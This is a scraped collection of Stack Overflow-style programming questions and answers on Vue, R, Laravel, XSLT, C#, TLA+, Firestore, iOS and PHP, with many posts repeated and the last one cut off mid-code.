The error I am getting is: [Vue warn]: Error in render: "TypeError: Cannot read property 'user_name' of undefined"

Notice the console.log... it the returns the object as expected every time, but as I mentioned if refresh the page or navigate past and then back to this component, I get the error plus the correct log.

Template:

```<code><div v-for="note in notes">
   <h2>{{note.title}}</h2>
   <em>{{note.user.user_name}}</em>
</div>
</code>```

Scripts:

```<code>methods:{
   fetchNotes(id){
      return this.$http.get('http://api/notes/' + id )
      .then(function(response){
         this.notes = response.body;

          for( let i = 0; i < response.body.length; i++ ) {
             let uId = response.body[i].user_id,
                 uNote = this.notes[i];
              this.$http.get('http://api/users/' + uId)
              .then(function(response){
                 uNote.user = response.body;
                 console.log(uNote);
              });
          }

      });
   },
}
</code>```

答:
Tony,
Thank you for all your help and effort dude! Ultimately, with the help from someone in the Vue forum, this worked for me. In addition I wanted to learn how to add additional http requests besides the just the user in the fetchNotes method - in this example also the image request. And this works for me.

Template:

```<code><div v-if="notes.length > 0">
   <div v-if="loaded === true">
    <div v-for="note in notes">
        <h2>{{note.title}}</h2>
        <em>{{note.user.user_name}}</em>
        <img :src="note.image.url" />
      </div>
    </div>
   <div v-else>Something....</div>
</div>
<div v-else>Something....</div>
</code>```

Script:

```<code>name: 'invoices',
data () {
   return {
      invoices: [],
      loaded: false,
   }
},
methods: {
fetchNotes: async function (id){
    try{
        let notes = (await this.$http.get('http://api/notes/' + id )).body
        for (let i = 0; notes.length; i++) {
            notes[i].user = (await this.$http.get('http://api/user/' + notes[i].user_id)).body
            notes[i].image = (await this.$http.get('http://api/image/' + notes[i].image_id)).body
        }
        this.notes = this.notes.concat(notes)
    }catch (error) {

    }finally{
       this.loaded = true;
    }
}
</code>```

Body:
I'm trying to render a list of notes and in that list I would like to include the note's user name based on the user_id stored in the note's table. I have something like this, but at the moment it is logging an error stating Cannot read property 'user_id' of undefined, which I get why.

My question is, in Vue how can something like this be executed?

Template:

{{note.title}}

   {{user.name}}

Scripts:

methods:{
   fetchNotes(id){
      return this.$http.get('http://api/notes/' + id )
      .then(function(response){
         this.notes = response.body;
      });
   },
   fetchUser(id){
      return this.$http.get('http://api/user/' + id )
      .then(function(response){
         this.user = response.body;
      });
   }
},
created: function(){
   this.fetchNotes(this.$route.params.id)
   .then( () => {
      this.fetchUser(this.note.user_id);
   });
}

UPDATE:

I modified my code to look like the below example, and I'm getting better results, but not 100% yet. With this code, it works the first time it renders the view, if I navigate outside this component and then back in, it then fails...same thing if I refresh the page.

The error I am getting is: [Vue warn]: Error in render: "TypeError: Cannot read property 'user_name' of undefined"

Notice the console.log... it the returns the object as expected every time, but as I mentioned if refresh the page or navigate past and then back to this component, I get the error plus the correct log.

Template:

{{note.title}}

   {{note.user.user_name}}

Scripts:

methods:{
   fetchNotes(id){
      return this.$http.get('http://api/notes/' + id )
      .then(function(response){
         this.notes = response.body;

          for( let i = 0; i < response.body.length; i++ ) {
             let uId = response.body[i].user_id,
                 uNote = this.notes[i];
              this.$http.get('http://api/users/' + uId)
              .then(function(response){
                 uNote.user = response.body;
                 console.log(uNote);
              });
          }

      });
   },
}

Body:
Tony,
Thank you for all your help and effort dude! Ultimately, with the help from someone in the Vue forum, this worked for me. In addition I wanted to learn how to add additional http requests besides the just the user in the fetchNotes method - in this example also the image request. And this works for me.

Template:

<div v-if="notes.length > 0">
   <div v-if="loaded === true">
    <div v-for="note in notes">
        <h2>{{note.title}}</h2>
        <em>{{note.user.user_name}}</em>
        <img :src="note.image.url" />
      </div>
    </div>
   <div v-else>Something....</div>
</div>
<div v-else>Something....</div>

Script:

name: 'invoices',
data () {
   return {
      invoices: [],
      loaded: false,
   }
},
methods: {
fetchNotes: async function (id){
    try{
        let notes = (await this.$http.get('http://api/notes/' + id )).body
        for (let i = 0; notes.length; i++) {
            notes[i].user = (await this.$http.get('http://api/user/' + notes[i].user_id)).body
            notes[i].image = (await this.$http.get('http://api/image/' + notes[i].image_id)).body
        }
        this.notes = this.notes.concat(notes)
    }catch (error) {

    }finally{
       this.loaded = true;
    }
}


问:
Split sequence dataframe in R
I have a dataframe of sequences like this

```<code>dput(df)
structure(list(val = structure(c(3L, 2L, 4L, 1L, 5L, 6L), .Label = c("{36415},{36415}",
                           "{36415},{85610}", "{36415},{9904}", "{85025,36415}", "{85610},{36415}",
                           "{8872},{36415}"), class = "factor")), .Names = "val", row.names = c(NA,
                                                                                -6L), class = "data.frame")

df
              val
1  {36415},{9904}
2 {36415},{85610}
3   {85025,36415}
4 {36415},{36415}
5 {85610},{36415}
6  {8872},{36415}
</code>```

Notice the 3rd row above. The first row says there is a sequence item 1 followed by item 2 in different rows. The 3rd row says item1 and 2 belong to same row in the sequence

I want to break this data frame into columns like this

```<code>col1        col2
36415       9904
36415       85610
85025,36415 NA
36415       36415
...
</code>```

Notice how the 3rd row of the data frame is.

Is there any way to achieve this?

Title: Split sequence dataframe in R

Body:
I have a dataframe of sequences like this

dput(df)
structure(list(val = structure(c(3L, 2L, 4L, 1L, 5L, 6L), .Label = c("{36415},{36415}",
                           "{36415},{85610}", "{36415},{9904}", "{85025,36415}", "{85610},{36415}",
                           "{8872},{36415}"), class = "factor")), .Names = "val", row.names = c(NA,
                                                                                -6L), class = "data.frame")

df
              val
1  {36415},{9904}
2 {36415},{85610}
3   {85025,36415}
4 {36415},{36415}
5 {85610},{36415}
6  {8872},{36415}

Notice the 3rd row above. The first row says there is a sequence item 1 followed by item 2 in different rows. The 3rd row says item1 and 2 belong to same row in the sequence

I want to break this data frame into columns like this

col1        col2
36415       9904
36415       85610
85025,36415 NA
36415       36415
...

Notice how the 3rd row of the data frame is.

Is there any way to achieve this?

Body:
library(tidyr)
df = separate(df, col = val, into = c("col1", "col2"), sep = "\\},\\{", fill = "right")
df[] = lapply(df, gsub, pattern = "\\{|\\}", replacement = "")
df
#          col1  col2
# 1       36415  9904
# 2       36415 85610
# 3 85025,36415  <NA>
# 4       36415 36415
# 5       85610 36415
# 6        8872 36415


问:
Laravel DB::Raw with Average
I have a laravel application which has the a model for orders.

The model contains:

```<code>id
order_date
value
</code>```

I'm looking to return the average total daily sales value across a period.

For example, see below sample dataset

```<code>1 | 2017-11-01 | 10.00
2 | 2017-11-01 | 10.00
3 | 2017-11-01 | 11.00
4 | 2017-11-02 | 14.00
5 | 2017-11-03 | 1.00
6 | 2017-11-03 | 18.00
7 | 2017-11-03 | 10.00
8 | 2017-11-03 | 10.00
9 | 2017-11-04 | 105.00
10 | 2017-11-04 | 10.00
</code>```

I'm looking to return the total value of each day but then average across the days.

```<code>1/11/2017 = 31
2/11/2017 = 14
3/11/2017 = 39
4/11/2017 = 115
</code>```

resulting in the answer for the above: 49.75

I've tried the following eloquent query but failed to get the right value, it's almost like the group by is being ignored and its averaging the order value rather than the total order value for the day, can some one point me in the right direction?

```<code>$avg = Order::whereBetween('order_date',array(Carbon::now()->startOfMonth(), Carbon::now()->endOfMonth()))->groupBy('order_date')->avg('value');
</code>```

答:
As you've noticed, your current query will average the value per date, instead of by the number of days. You'll have to tweak the query to use some division:

```<code>$avgValue = Order::whereBetween('order_date',array(Carbon::now()->startOfMonth(), Carbon::now()->endOfMonth()))
->selectRaw('SUM(value) / COUNT(DISTINCT order_date) AS order_average')
->first();
</code>```

You should the be able to get the value with $avgValue->order_average

Title: Laravel DB::Raw with Average

Body:
I have a laravel application which has the a model for orders.

The model contains:

id
order_date
value

I'm looking to return the average total daily sales value across a period.

For example, see below sample dataset

1 | 2017-11-01 | 10.00
2 | 2017-11-01 | 10.00
3 | 2017-11-01 | 11.00
4 | 2017-11-02 | 14.00
5 | 2017-11-03 | 1.00
6 | 2017-11-03 | 18.00
7 | 2017-11-03 | 10.00
8 | 2017-11-03 | 10.00
9 | 2017-11-04 | 105.00
10 | 2017-11-04 | 10.00

I'm looking to return the total value of each day but then average across the days.

1/11/2017 = 31
2/11/2017 = 14
3/11/2017 = 39
4/11/2017 = 115

resulting in the answer for the above: 49.75

I've tried the following eloquent query but failed to get the right value, it's almost like the group by is being ignored and its averaging the order value rather than the total order value for the day, can some one point me in the right direction?

$avg = Order::whereBetween('order_date',array(Carbon::now()->startOfMonth(), Carbon::now()->endOfMonth()))->groupBy('order_date')->avg('value');

Body:
As you've noticed, your current query will average the value per date, instead of by the number of days. You'll have to tweak the query to use some division:

$avgValue = Order::whereBetween('order_date',array(Carbon::now()->startOfMonth(), Carbon::now()->endOfMonth()))
->selectRaw('SUM(value) / COUNT(DISTINCT order_date) AS order_average')
->first();

You should the be able to get the value with $avgValue->order_average


问:
Web Service for SQL server
Note: This question is not an Error in code question its a general question for information on Web-Service connecting to the database.

I am new to development and I need to know why should you use web service to talk to live database? I created a page and when I took it to my boss he said you are going to need to talk to the database through web service and I just want to know  what is the difference between normal data access layer and going through web service?

答:
why should you use web service to talk to live database

The problem with this question is that "you" is not a computer and cannot talk to a database, via a web service or otherwise.

Databases need to be accessed by programs. Programs have various NFRs that affect how they are deployed, and depending on the manner of deployment, a web service may be necessary. So the answer to your question depends on what you mean by "you."

A web site may be able to access a database directly because it may exist in the same network. A Windows application, running on a remote machine, may not be on the same network, and would not be able to reach the database over the normal means-- for example, port 1433 (the default port for database connections) may not be opened on the firewall.  In this situation, you can build a web service to talk to the database, and the Windows application can talk to the service over port 80 or port 443, which are usually opened.

Title: Web Service for SQL server


问:
Separate number from word in Excel
I have the following column in Excel:

https://i.stack.imgur.com/NiiI2.png

All I want to do is to isolate the number of seconds (just number, without the "s") so I can calculate averages and sums normally. I tried some alternatives but I couldn't find a proper solution. Can somebody help me please?

Title: Separate number from word in Excel

Body:
In excel:

=LEFT(A1,FIND("s",A1)-1)


问:
Objective C char array mismatch
I am having an issue getting the correct format of a char array in Objective C

Correct sample:

unsigned char bytes[] = {2, 49, 53, 49, 3, 54};

When printing to the debug area I get this:

```<code>Printing description of bytes:
(unsigned char [6]) bytes = "\x02151\x0365"
</code>```

Incorrect sample:

I then attempt to populate an unsigned char array with characters manually (via a for-loop that produces the below samples):

unsigned char bb[64];

bb[0] = 2;

bb[1] = 49;

bb[2] = 52;

bb[3] = 49;

bb[4] = 3;

bb[5] = 54;

When printing to the debug area I get this:

```<code>Printing description of bb: (unsigned char [64]) bb = "\x02151\x036";
</code>```

Also when expanding the array while debugging I can see xcode is telling me that the 'bytes' array has int values and the 'bb' array has characters such as '\x02' in it.

This is just a high level piece of code that does not do much yet, but I need to match the array named 'bytes' before being able to proceed.

Any ideas? Thanks

答:
You don't:

state what kind (local, instance, etc.) of variables bytes and bb are and that makes a difference;

show your for loop; or

state what you mean by "printing"

so this answer is going to be a guess!

Try the following code (it's a "complete" Cocoa app):

```<code>@implementation AppDelegate

unsigned char bytes[] = {2, 49, 53, 49, 3, 54};

char randomBytes[] = { 0x35, 0x0 };

unsigned char bb[64];

- (void)applicationDidFinishLaunching:(NSNotification *)aNotification
{
   for(int ix = 0; ix < 6; ix++) bb[ix] = bytes[ix];
   // breakpoint here
}

@end
</code>```

Now in the debugger, at least on my machine/compiler combination, this result is not guaranteed:

```<code>(lldb) p bytes
(unsigned char [6]) $0 = "\x02151\x0365"
(lldb) p bb
(unsigned char [64]) $1 = "\x02151\x036"
</code>```

I think this reproduces your result. So what is going on?

The variable bytes is an array but as it is characters the debugger is choosing to interpret it as a C string when displaying it - note the double quotes around the value and the \x hex escapes for non-printable characters.

A C string terminates on a null (zero) byte so when the debugger interprets your array as a C string it will display characters until it finds a null byte and stops. It just so happens that on your machine the two bytes following your bytes array have the values 0x35 and 0x0; I have reproduced that here by adding the randomBytes array; and those values are the character 5 and the null byte so the debugger prints the 5.

So why does bb only print 6 characters? Global variables are zero initialised, so bb has 64 null bytes before the for loop. After the loop the 7th of those null bytes acts as the EOS (end of string) marker and the print just shows the 6 characters you expect.

Finally why do I say the above results are not guaranteed? The memory layout order of global variables is not specified as part of the C Standard, which underlies Objective-C, so there is in fact no guarantee that the randomBytes array immediately follows the bytes array. If the global variable layout algorithm is different on your computer/compiler combination you may not get the same results. However the underlying cause of your issue is the same - the "printing" is running off the end of your bytes array.

HTH

Title: Objective C char array mismatch

Body:
I am having an issue getting the correct format of a char array in Objective C

Correct sample:

unsigned char bytes[] = {2, 49, 53, 49, 3, 54};

When printing to the debug area I get this:

Printing description of bytes:
(unsigned char [6]) bytes = "\x02151\x0365"

Incorrect sample:

I then attempt to populate an unsigned char array with characters manually (via a for-loop that produces the below samples):

unsigned char bb[64];

bb[0] = 2;

bb[1] = 49;

bb[2] = 52;

bb[3] = 49;

bb[4] = 3;

bb[5] = 54;

When printing to the debug area I get this:

Printing description of bb: (unsigned char [64]) bb = "\x02151\x036";

Also when expanding the array while debugging I can see xcode is telling me that the 'bytes' array has int values and the 'bb' array has characters such as '\x02' in it.

This is just a high level piece of code that does not do much yet, but I need to match the array named 'bytes' before being able to proceed.

Any ideas? Thanks

Body:
You don't:

state what kind (local, instance, etc.) of variables bytes and bb are and that makes a difference;

show your for loop; or

state what you mean by "printing"

so this answer is going to be a guess!

Try the following code (it's a "complete" Cocoa app):

@implementation AppDelegate

unsigned char bytes[] = {2, 49, 53, 49, 3, 54};

char randomBytes[] = { 0x35, 0x0 };

unsigned char bb[64];

- (void)applicationDidFinishLaunching:(NSNotification *)aNotification
{
   for(int ix = 0; ix < 6; ix++) bb[ix] = bytes[ix];
   // breakpoint here
}

@end

Now in the debugger, at least on my machine/compiler combination, this result is not guaranteed:

(lldb) p bytes
(unsigned char [6]) $0 = "\x02151\x0365"
(lldb) p bb
(unsigned char [64]) $1 = "\x02151\x036"

I think this reproduces your result. So what is going on?

The variable bytes is an array but as it is characters the debugger is choosing to interpret it as a C string when displaying it - note the double quotes around the value and the \x hex escapes for non-printable characters.

A C string terminates on a null (zero) byte so when the debugger interprets your array as a C string it will display characters until it finds a null byte and stops. It just so happens that on your machine the two bytes following your bytes array have the values 0x35 and 0x0; I have reproduced that here by adding the randomBytes array; and those values are the character 5 and the null byte so the debugger prints the 5.

So why does bb only print 6 characters? Global variables are zero initialised, so bb has 64 null bytes before the for loop. After the loop the 7th of those null bytes acts as the EOS (end of string) marker and the print just shows the 6 characters you expect.

Finally why do I say the above results are not guaranteed? The memory layout order of global variables is not specified as part of the C Standard, which underlies Objective-C, so there is in fact no guarantee that the randomBytes array immediately follows the bytes array. If the global variable layout algorithm is different on your computer/compiler combination you may not get the same results. However the underlying cause of your issue is the same - the "printing" is running off the end of your bytes array.

HTH


问:
Marshaling LPBYTE
I have hex_data struct as output of a function of a DLL.

```<code>typedef struct hex_data
{
 USHORT usLength;
 LPBYTE lpbData;
 } HEXDATA
</code>```

where lpbData is a pointer to the byte stream and usLength is the length of the byte stream pointed to by lpbData. Now I need to marshal this struct to a C# struct. What unmanged type I should use for lpbData in below struct definition:

```<code>[StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Ansi)]
 public struct HEXDATA {
        [MarshalAs(UnmanagedType.U2)]
        public UInt16 usLength;
        [MarshalAs(UnmanagedType.?????)]
        public byte[] lpbData;
    } ;
</code>```

Thanks

答:
It should be

```<code>[StructLayout(LayoutKind.Sequential)]
public struct HEXDATA
{
   public ushort usLength;
   public IntPtr lpbData;
};
</code>```

pack is in general not needed (in general only if pack is specified on the C/C++ size). There is no string here, so no CharSet is needed either.

Title: Marshaling LPBYTE

Body:
I have hex_data struct as output of a function of a DLL.

typedef struct hex_data
{
 USHORT usLength;
 LPBYTE lpbData;
 } HEXDATA

where lpbData is a pointer to the byte stream and usLength is the length of the byte stream pointed to by lpbData. Now I need to marshal this struct to a C# struct. What unmanged type I should use for lpbData in below struct definition:

[StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Ansi)]
 public struct HEXDATA {
        [MarshalAs(UnmanagedType.U2)]
        public UInt16 usLength;
        [MarshalAs(UnmanagedType.?????)]
        public byte[] lpbData;
    } ;

Thanks

Body:
It should be

[StructLayout(LayoutKind.Sequential)]
public struct HEXDATA
{
   public ushort usLength;
   public IntPtr lpbData;
};

pack is in general not needed (in general only if pack is specified on the C/C++ size). There is no string here, so no CharSet is needed either.


问:
Strange XSL matching behaviour
There is something about XSL matching rules I cannot get.

I've this input:

```<code><root>
  <metadata>
  </metadata>
  <elements>
    <a-elems>
          <a>A1</a>
          <a>A2</a>
    </a-elems>
    <b-elems>
      <b>B1</b>
      <b>B2</b>
    </b-elems>
  </elements>
</root>
</code>```

This XSL works as I want, a list of  values is reported:

```<code><xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="2.0">

    <xsl:template match = "/">
        _____ Elements _____
        <xsl:apply-templates select = "root/elements/*/*" />
    </xsl:template>

  <xsl:template match = "a-elems/a">
    __ A ELEM: <xsl:value-of select = "."></xsl:value-of> __
  </xsl:template>

  <xsl:template match="*">
        <xsl:message>Excluding <xsl:value-of select = "name(.)" /></xsl:message>
  </xsl:template>

</xsl:stylesheet>
</code>```

However, I think this root template, where I state the level I want to start from, would be cleaner:

```<code><xsl:template match = "/root/elements">
    _____ Elements _____
    <xsl:apply-templates select = "*/*" />
</xsl:template>
</code>```

But it doesn't work, I get the 'Excluding root' message and I understand the template never matches. I don't get why, I've also tried select = "*" and adding priority attributes.

答:
XSLT will start off by looking for a template that matches / (the document node). By changing the template that matches / to /root/elements will result in XSLT using it's built-in template rule for matching / instead. This built-in template is effectively this:

```<code><xsl:template match = "/">
    <xsl:apply-templates />
</xsl:template>
</code>```

The xsl:apply-templates will select the child root node. This will then be matched by the template matching * and so you get your message, and no more process is done.

The easiest solution would be to go back to what you had.

EDIT: In answer to your comment, you don't always have to redefine the /. Another slight variation of your original solution would be to do this...

```<code><xsl:template match = "root">
    _____ Elements _____
    <xsl:apply-templates select = "elements/*/*" />
</xsl:template>
</code>```

Title: Strange XSL matching behaviour

Body:
There is something about XSL matching rules I cannot get.

I've this input:

<root>
  <metadata>
  </metadata>
  <elements>

          A1
          A2

      B1
      B2

  </elements>
</root>

This XSL works as I want, a list of  values is reported:

<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="2.0">

    <xsl:template match = "/">
        _____ Elements _____
        <xsl:apply-templates select = "root/elements/*/*" />
    </xsl:template>

  <xsl:template match = "a-elems/a">
    __ A ELEM: <xsl:value-of select = "."></xsl:value-of> __
  </xsl:template>

  <xsl:template match="*">
        <xsl:message>Excluding <xsl:value-of select = "name(.)" /></xsl:message>
  </xsl:template>

</xsl:stylesheet>

However, I think this root template, where I state the level I want to start from, would be cleaner:

<xsl:template match = "/root/elements">
    _____ Elements _____
    <xsl:apply-templates select = "*/*" />
</xsl:template>

But it doesn't work, I get the 'Excluding root' message and I understand the template never matches. I don't get why, I've also tried select = "*" and adding priority attributes.

Body:
XSLT will start off by looking for a template that matches / (the document node). By changing the template that matches / to /root/elements will result in XSLT using it's built-in template rule for matching / instead. This built-in template is effectively this:

<xsl:template match = "/">
    <xsl:apply-templates />
</xsl:template>

The xsl:apply-templates will select the child root node. This will then be matched by the template matching * and so you get your message, and no more process is done.

The easiest solution would be to go back to what you had.

EDIT: In answer to your comment, you don't always have to redefine the /. Another slight variation of your original solution would be to do this...

<xsl:template match = "root">
    _____ Elements _____
    <xsl:apply-templates select = "elements/*/*" />
</xsl:template>


问:
Difference between => and <=>
I am learning TLA+ from this great "Learn TLA+" page.

I cannot get the practical difference between => and <=>. I get it in terms of "truth table", but I cannot really grasp it.

Could one provide a practical TLA+ example highlighting the difference between those two?

Related:

https://math.stackexchange.com/questions/68293/what-is-the-difference-between-only-if-and-iff

答:
Imagine we have a bounded queue q with max size MAX, a reader process that pops messages from the queue , a writer process that adds messages to the queue, and a queue_maxed_flag that is either true or false. Here's four possible invariants:

(len(q) = MAX) => queue_maxed_flag means (in addition to other possible things, depending on the spec) that if a writer adds a message when q has MAX-1 messages it must also set the queue_maxed_flag, otherwise the invariant is violated. However, if the reader pops from a maxed queue, it does not need to unset queue_maxed_flag.

queue_maxed_flag => (len(q) = MAX) means (in addition to, etc) that if a reader pops a message when q has MAX messages it must also unset the queue_maxed_flag. However, if the writer adds a message when q has MAX-1 messages, it does not need to set queue_maxed_flag.

(len(q) = MAX) <=> queue_maxed_flag and queue_maxed_flag <=> (len(q) = MAX) mean the same thing: the prior two invariants both hold. If the writer writes the last message to a queue, it must set the flag, and if the reader reads from a full queue, it must unset the flag.

So why A <=> B and not A = B? A <=> B is stricter in that it expects both A and B to be booleans. TLC evaluates 5 = 6 as FALSE, but it raises an error on 5 <=> 6.

Title: Difference between => and <=>


问:
Looking for light text rich editor for enterprise website ,more light then tinymce with basic buttons for comment form
I am Looking for light text rich editor for enterprise website ,more light then tinymce with basic buttons for comment form.
Its important that editor will also work in IE6.
until now I try cleditor 15KB, but he have problem with IE when 'enter' press.

cleditor have issue -  (Jquery-Rich Text Editor) How can be fixed bug in rich text editor - when press enter in firefox created 'br' tag but in IE created 'p' tag?

YUI Editor 76kb - still prefer something lighter like cleditor 15kb and use jquery and not yui 2 framework.

HtmlBox editor- only for personal use according lisence and also have some bugs in simple demo.

markitUp editor - not show result , only in other window.

tinymce/ckeditor - not light editor

jHtmlArea - not support IE6

jwysiwyg - still beta version, not tested on IE6?

Update: I alreay use jquery.

please if you have good suggestion,
Thanks,
Yosef

答:
If you are ok with using Mootools framework.  Mooeditable is a simple web-based WYSIWYG editor, written in MooTools.  Works on A-Grade Browsers MIT license.  Mooeditable
 As far as size goes you can build your own using the builder and take out components that you do not need.  Hope this helps.</p>

ContentLicense: CC BY-SA 2.5


问:
Receiving password input using DialogShow() not working
I am writing a WinForm application in C#. There is a Form A that opens Form C on Button click. Now, I want to add a password input screen Form B before opening Form C. Only if the password entered is correct will Form C open, and otherwise, show an error message. Form B just has a TextBox control and a Verify Button control.

```<code>/*Form A*/
FormB fb;
private void BtnClick(object sender, EventArgs e) {
    DialogResult result;
    //fb can open once at a time
    if(fb == null){
        fb = new FormB();
        fb.FormClosed += new FormClosedEventHandler(FormB_FormClosed);

        //This seems to be not working
        result = fb.ShowDialog();
    }
    else //FormB already open. Do nothing
        return;

    //Only if password entered is correct, proceed
    if(result == DialogResult.Yes){    //result == cancel
        //Code to open Form C          //Program never reaches here
    }
}

//Upon closing FormB, reset it to null
private void FormB_FormClosed(object sender, FormClosedEventArgs e){
    if(fb != null)
        fb = null;
}

/* Form B */
private const string password = "xxxyyyzzz";
private void BtnPW_Click(object sender, EventArgs e){
    bool result = Verify();
    if(result){
        BtnPW.DialogResult = DialogResult.Yes;
    }
    else{
        MessageBox.Show("Error: Incorrect password");
        BtnPW.DialogResult = DialogResult.No;
    }
    this.Close();             //Added
}

private bool Verify(){
    if(TxtBox.Text == password)
        return true;
    else
        return false;
}
</code>```

Can someone tell me what is wrong with this code? It never reaches the second if statement in Form A.

Edit: Even if I enter the correct password and hit the button on Form B, result in Form A gets "DialogResult.Cancel`.

答:
If you call the Form.Close method, then the DialogResult property of that form is set to DialogResult.Cancel even if you have set it to something else. To HIDE a form opened modally you just need to set the form's DialogResult property to anything but DialogResult.None.

Said that your code seems to be not the one usually used to handle a modal dialog.

ShowDialog is blocking your code, you don't exit from this call until the called form is closed or hidden, so you don't need to keep a global variable of FormB around and handle the FormClosed event handler of FormB in FormA.

```<code>private void BtnClick(object sender, EventArgs e)
{
    using(FormB fb = new FormB())
    {
        // Here the code returns only when the fb instance is hidden
        result = fb.ShowDialog();
        if(result == DialogResult.Yes)
        {
            //open Form C
        }
   }
}
</code>```

Now you should remove the call to Form.Close in the FormB code and set directly the DialogResult property of the FormB, do not try to change at this point the DialogResult property of the buttons, this will not work and you need a second click to hide the form, instead set directly the form's DialogResult property.

```<code>private const string password = "xxxyyyzzz";
private void BtnPW_Click(object sender, EventArgs e)
{
     if(Verify())
         this.DialogResult = DialogResult.Yes;
     else
     {
         MessageBox.Show("Error: Incorrect password");
         this.DialogResult = DialogResult.No;
     }
}
</code>```

In this way the form is hidden (not closed) and your code exits from the ShowDialog call in the FormA. Inside the using block you can still use the FormB instance to read its properties and take the appropriate paths. When your code exits from the using block the fb instance will be automatically closed and disposed out of existence.

Body:
I am writing a WinForm application in C#. There is a Form A that opens Form C on Button click. Now, I want to add a password input screen Form B before opening Form C. Only if the password entered is correct will Form C open, and otherwise, show an error message. Form B just has a TextBox control and a Verify Button control.

/*Form A*/
FormB fb;
private void BtnClick(object sender, EventArgs e) {
    DialogResult result;
    //fb can open once at a time
    if(fb == null){
        fb = new FormB();
        fb.FormClosed += new FormClosedEventHandler(FormB_FormClosed);

        //This seems to be not working
        result = fb.ShowDialog();
    }
    else //FormB already open. Do nothing
        return;

    //Only if password entered is correct, proceed
    if(result == DialogResult.Yes){    //result == cancel
        //Code to open Form C          //Program never reaches here
    }
}

//Upon closing FormB, reset it to null
private void FormB_FormClosed(object sender, FormClosedEventArgs e){
    if(fb != null)
        fb = null;
}

/* Form B */
private const string password = "xxxyyyzzz";
private void BtnPW_Click(object sender, EventArgs e){
    bool result = Verify();
    if(result){
        BtnPW.DialogResult = DialogResult.Yes;
    }
    else{
        MessageBox.Show("Error: Incorrect password");
        BtnPW.DialogResult = DialogResult.No;
    }
    this.Close();             //Added
}

private bool Verify(){
    if(TxtBox.Text == password)
        return true;
    else
        return false;
}

Can someone tell me what is wrong with this code? It never reaches the second if statement in Form A.

Edit: Even if I enter the correct password and hit the button on Form B, result in Form A gets "DialogResult.Cancel`.

Body:
If you call the Form.Close method, then the DialogResult property of that form is set to DialogResult.Cancel even if you have set it to something else. To HIDE a form opened modally you just need to set the form's DialogResult property to anything but DialogResult.None.

Said that your code seems to be not the one usually used to handle a modal dialog.

ShowDialog is blocking your code, you don't exit from this call until the called form is closed or hidden, so you don't need to keep a global variable of FormB around and handle the FormClosed event handler of FormB in FormA.

private void BtnClick(object sender, EventArgs e)
{
    using(FormB fb = new FormB())
    {
        // Here the code returns only when the fb instance is hidden
        result = fb.ShowDialog();
        if(result == DialogResult.Yes)
        {
            //open Form C
        }
   }
}

Now you should remove the call to Form.Close in the FormB code and set directly the DialogResult property of the FormB, do not try to change at this point the DialogResult property of the buttons, this will not work and you need a second click to hide the form, instead set directly the form's DialogResult property.

private const string password = "xxxyyyzzz";
private void BtnPW_Click(object sender, EventArgs e)
{
     if(Verify())
         this.DialogResult = DialogResult.Yes;
     else
     {
         MessageBox.Show("Error: Incorrect password");
         this.DialogResult = DialogResult.No;
     }
}

In this way the form is hidden (not closed) and your code exits from the ShowDialog call in the FormA. Inside the using block you can still use the FormB instance to read its properties and take the appropriate paths. When your code exits from the using block the fb instance will be automatically closed and disposed out of existence.


问:
firestore: PERMISSION_DENIED: Missing or insufficient permissions
I am getting the Error

gettingdocuments.com.google.firebase.firestore.FirebaseFirestoreException:
  PERMISSION_DENIED: Missing or insufficient permissions.

for the below code on else statement

```<code>db.collection("users")
    .get()
    .addOnCompleteListener(new OnCompleteListener<QuerySnapshot>() {
        @Override
        public void onComplete(@NonNull Task<QuerySnapshot> task) {
             if (task.isSuccessful()) {
                 for (DocumentSnapshot document : task.getResult()) {
                     s(document.getId() + " => " + document.getData());
                 }
             } else {
                 s("Error getting documents."+ task.getException());
             }
         }
     });
</code>```

答: make sure your DB is not empty nor your query is for collection whom not exist</p>

Body:
I am getting the Error

gettingdocuments.com.google.firebase.firestore.FirebaseFirestoreException:
  PERMISSION_DENIED: Missing or insufficient permissions.

for the below code on else statement

db.collection("users")
    .get()
    .addOnCompleteListener(new OnCompleteListener<QuerySnapshot>() {
        @Override
        public void onComplete(@NonNull Task<QuerySnapshot> task) {
             if (task.isSuccessful()) {
                 for (DocumentSnapshot document : task.getResult()) {
                     s(document.getId() + " => " + document.getData());
                 }
             } else {
                 s("Error getting documents."+ task.getException());
             }
         }
     });


问:
UITableViewCell contentView inset on iPhone X
Any UITableViewCell created on iPhone X has a 44 points inset for content view. This means width of contentView of UITableViewCell is by default 44pts less than the cell width. I do not need to have this behavior. How do I get contentView width same as cell width (or like it is there on other iPhone models)?

Update: I solved the problem by setting tableView.insetsContentViewsToSafeArea = NO. Now working on same issue for other elements such as UINavigationBar items. Unable to find an equivalent was for UIBarButtonItem for navigation bar. Any insight is appreciated.

答:
Maybe you could use additionalSafeAreaInsets on your view controller, it's there to reduce the actual usable space but with negative Insets it should do the opposite.

https://developer.apple.com/documentation/uikit/uiviewcontroller/2902284-additionalsafeareainsets


问:
Get php constructor parameters value and names from another method
Can I somehow get the values of the constructor parameters from another class method without passing them directly?

I tried to use the methods \ReflectionClass but could only get the names of attributes. How can I get parameter names with their values?

Counts, types, values, and names of parameters are not known in advance.

```<code><?php
class Report extends AbstractReport
{
    public function __construct($month, $year)
    {
        $this->month = $month;
        $this->year = $year;
    }
}

class Report2 extends AbstractReport
{
    public function __construct($day, $month, $year, $type = null)
    {
        $this->day = $day;
        $this->month = $month;
        $this->year = $year;
        $this->type = $type;
    }
}

class AbstractReport
{
    /**
     * Return contructor parameters array
     * @return array
     */
    public function getParameters()
    {
        $ref = new \ReflectionClass($this);
        if (! $ref->isInstantiable()) {
            return [];
        }
        else {
            $constructor = $ref->getConstructor();
            return $constructor->getParameters();
        }
    }

    public function getHash()
    {
        return md5(serialize($this->getParameters()));
    }
}
</code>```

In the end, I need to get different unique values for all hashes

```<code>$report = new Report(10, 2017);
$hash1 = $report->getHash();

$report = new Report2(18, 10, 2017, 'foo');
$hash2 = $report->getHash();

$report = new Report2(01, 02, 2017, 'bar');
$hash3 = $report->getHash();
</code>```

Ie the hash must be different for all options

```<code> return $hash1 != $hash2 && $hash2 != $hash3 && $hash1 != $hash3;
</code>```

Any ideas or help, thank you in advance

答:
Solution.
I just had to rewrite the method

```<code>/**
 * Return constructor parameters as array
 *
 * @return array
 */
protected function getParameters()
{
    $ref = new ReflectionClass($this);
    if (! $ref->isInstantiable()) {
        return [];
    }

